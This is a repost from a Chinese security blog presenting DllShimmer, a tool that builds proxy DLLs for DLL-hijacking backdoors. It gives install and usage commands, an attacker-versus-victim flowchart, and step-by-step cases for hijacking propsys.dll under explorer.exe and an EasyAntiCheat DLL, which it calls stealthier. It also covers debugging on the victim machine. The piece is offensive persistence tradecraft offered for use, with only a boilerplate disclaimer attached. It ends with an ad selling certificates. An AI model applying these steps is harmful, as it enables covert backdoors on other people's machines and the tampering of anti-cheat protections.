零逆向DLL劫持后门生成器

admin 2026-03-03 07:24:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: DllShimmer是一款自动化生成DLL劫持后门的工具,输入合法DLL可自动提取导出表并生成代理DLL,编译后替换原文件,程序加载时先执行后门代码再无缝转发原函数。支持动态和静态链接模式,但仅适用于x86-64架构,且对浮点参数、参数数量及混淆DLL存在限制。工具提供快速使用案例和调试技巧,适用于隐蔽的权限维持或攻击测试。 综合评分: 68 文章分类: 二进制安全,逆向分析,红队,免杀,安全工具


cover_image

零逆向 DLL 劫持后门生成器

菜狗 菜狗

只会看监控的实习生

2026年2月23日 08:00 江西

⚡ 一句话工作原理

输入一个合法 DLL → DllShimmer 自动提取导出表 → 生成两个文件(.cpp + .def)→ 编译成代理 DLL → 替换原 DLL → 程序加载时先执行你的代码,再无缝转发给原函数。

📦 安装(30 秒)

# 依赖安装(Ubuntu/Debian)
sudo apt install mingw-w64

# 下载单文件绿色版
wget https://github.com/your-repo/DllShimmer/releases/latest/download/DllShimmer-linux-amd64 -O DllShimmer && chmod +x DllShimmer

# 验证
./DllShimmer --help

🔥 快速使用(3 步)

场景 1:劫持 version.dll(动态链接)

./DllShimmer -i version.dll -o project/ -x "C:/Windows/System32/version.dll" -m

场景 2:劫持 app.dll(静态链接)

./DllShimmer -i app.dll -o project/ -x "app2.dll" -m --static

🛠️ 参数速查表

| 参数 | 必填 | 说明 | 示例 | | — | — | — | — | | -i--input | ✅ | 原始 DLL 路径 | -i version.dll | | -o--output | ✅ | 输出目录 | -o ./backdoor/ | | -x--original | ✅ | 原 DLL 路径(动态)或名称(静态) | -x "C:/Windows/System32/version.dll" | | -m--mutex | ❌ | 互斥锁,防止单次运行多次触发后门 | -m | | --static | ❌ | 静态链接模式(生成 .lib) | --static | | --debug-file | ❌ | 调试日志输出到文件(默认 STDOUT) | --debug-file debug.log |

🚨 核心限制(必看)

| 限制项 | 说明 | 规避方案 | | — | — | — | | 架构 | 仅支持 x86-64/AMD64 | 无(需换工具) | | 浮点参数 | 通用代理代码不支持浮点函数 | 手动在 .cpp 中调整寄存器 | | 参数数量 | 最多 12 个参数 ,硬编码 | 拆分函数或改模板 | | 混淆 DLL | Qt 等高度混淆 DLL 会生成乱码 | 别用它们当代理,换简单 DLL | | Current Directory | 某些程序会 SetCurrentDirectoryW(),导致加载路径错乱 | 动态链接时 -x 用绝对路径;静态链接时把原 DLL 放 CWD |

📜 拖布图(全流程泳道)

flowchart TD
    subgraph 攻击者侧
        A[输入: version.dll] -->|DllShimmer -i| B[解析导出表]
        B --> C[生成 proxy.cpp + proxy.def]
        C --> D[编译: x86_64-w64-mingw32-g++]
        D --> E[输出: proxy_version.dll]
        E --> F[替换到目标程序目录]
    end

    subgraph 受害者侧
        G[用户双击程序.exe] --> H[加载 proxy_version.dll]
        H --> I{mutex?}
        I -->|是| J[执行后门代码(仅一次)]
        I -->|否| K[直接转发]
        J --> K
        K --> L[LoadLibraryA("C:/Windows/System32/version.dll")]
        L --> M[GetProcAddress(函数名/序号)]
        M --> N[跳转到原函数执行]
        N --> O[程序正常运行]
    end

    style A fill:#f4f4f4
    style J fill:#ffcccb
    style O fill:#e8f5e9

案例 1:劫持 explorer.exe 的 propsys.dll

# 1. 生成代理
./DllShimmer -i propsys.dll -o exp/ -x "C:/Windows/System32/propsys.dll" -m

# 2. 编译
cd exp && x86_64-w64-mingw32-g++ -shared -o propsys.dll proxy.cpp proxy.def

# 3. 放置到 explorer.exe 所在目录(通常是 C:\Windows)
# 4. 重启 explorer → 后门触发

案例 2:劫持游戏反作弊 easyanticheat.dll

# 静态链接更隐蔽
./DllShimmer -i easyanticheat.dll -o exp/ -x "easyanticheat_origin.dll" -m --static

# 编译时链接 .lib
x86_64-w64-mingw32-g++ -shared -o easyanticheat.dll proxy.cpp proxy.def easyanticheat.lib

📝 调试技巧

# 1. 生成带调试日志的代理
./DllShimmer -i version.dll -o exp/ -x "C:/Windows/System32/version.dll" -m --debug-file shim.log

# 2. 在受害者机器运行程序
# 3. 查看日志:加载了哪些函数?哪个失败了?
cat shim.log

关注回复DllShimmer获取

低价出售安全证书不限于cisp、pte等请Vme~建了一个项目群,想进群的请回复进群即可


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:只会看监控的实习生 菜狗 菜狗《零逆向 DLL 劫持后门生成器》

精彩精彩 网络安全文章

精彩精彩

文章总结: Khan安全团队于2026年2月23日发布内容,展示了利用特定工具获取网站数据包的过程,并指出上海交通大学官网存在信息泄露风险。该内容属于安全研究范
评论:0   参与:  0